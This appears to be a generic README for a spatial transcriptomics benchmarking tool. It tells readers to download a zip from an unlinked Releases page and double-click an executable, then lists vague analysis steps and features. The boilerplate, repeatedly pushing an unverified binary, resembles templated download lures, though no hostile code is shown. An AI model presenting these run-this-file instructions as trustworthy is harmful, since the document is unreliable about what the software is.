Welcome to the Seurigiotto Benchmark Framework! This tool helps you analyze Spatial Transcriptomics (ST) data easily and effectively. With optimized pipelines designed for reproducibility, you can gain valuable biological insights. Follow the steps below to download and run the software.
Before you start, ensure you have the following:
- A computer with Windows, macOS, or Linux.
- At least 4 GB of RAM.
- Approximately 500 MB of free disk space.
- An internet connection.
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Visit the Releases Page
Go to the Releases page to find the latest version of the software. -
Download the Application
Look for the file namedseurigiotto-benchmark-framework.zip. Click on it to download. -
Extract the Files
Once the download is complete, locate the .zip file in your downloads folder. Right-click on the file and select "Extract All" or use any extraction tool to unpack the files. -
Run the Application
Navigate to the folder where you extracted the files. Double-click onseurigiotto-benchmark-framework.exe(or the equivalent file for macOS or Linux) to launch the application.
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Prepare Your Data
Collect your Spatial Transcriptomics data in a compatible format. The framework supports various formats, including CSV and TXT files. -
Select Your Pipeline
Upon launching, you'll see options to select different analysis pipelines. Choose one based on your specific research needs. -
Customize Parameters
Adjust the settings and parameters as required. The interface is user-friendly, guiding you through the options. -
Run the Analysis
Click on "Start Analysis" to begin. Depending on your data size, this may take some time. The software will provide progress updates. -
View Results
After completion, review the output files. You will find curated visualizations and reports that summarize your findings.
- Reproducible Workflows: Ensure that your analysis can be repeated by others.
- Integrated Visualization: View your results with built-in plotting tools.
- Flexible Data Handling: Support for various input formats to suit your needs.
- Benchmarking Options: Compare different methods for comprehensive insights.
To keep your framework updated, periodically check the Releases page. Follow the installation steps to download the latest version when available.
- Documentation - Comprehensive guides and resources.
- GitHub Issues - Report bugs or ask questions.
Join our community to share your experiences, ask questions, or seek help:
- Discussion Forum
- Twitter @Seurigiotto to get updates and connect with other users.
This framework is being shared under the MIT License. You can use, modify, and distribute it freely with appropriate credit.
We welcome your feedback. It helps us improve the application and support your research needs. Reach out via the Issues section on GitHub or email us directly.
You’re just a few clicks away from powerful data analysis. Make sure to visit the Releases page to download the software and start optimizing your workflows today!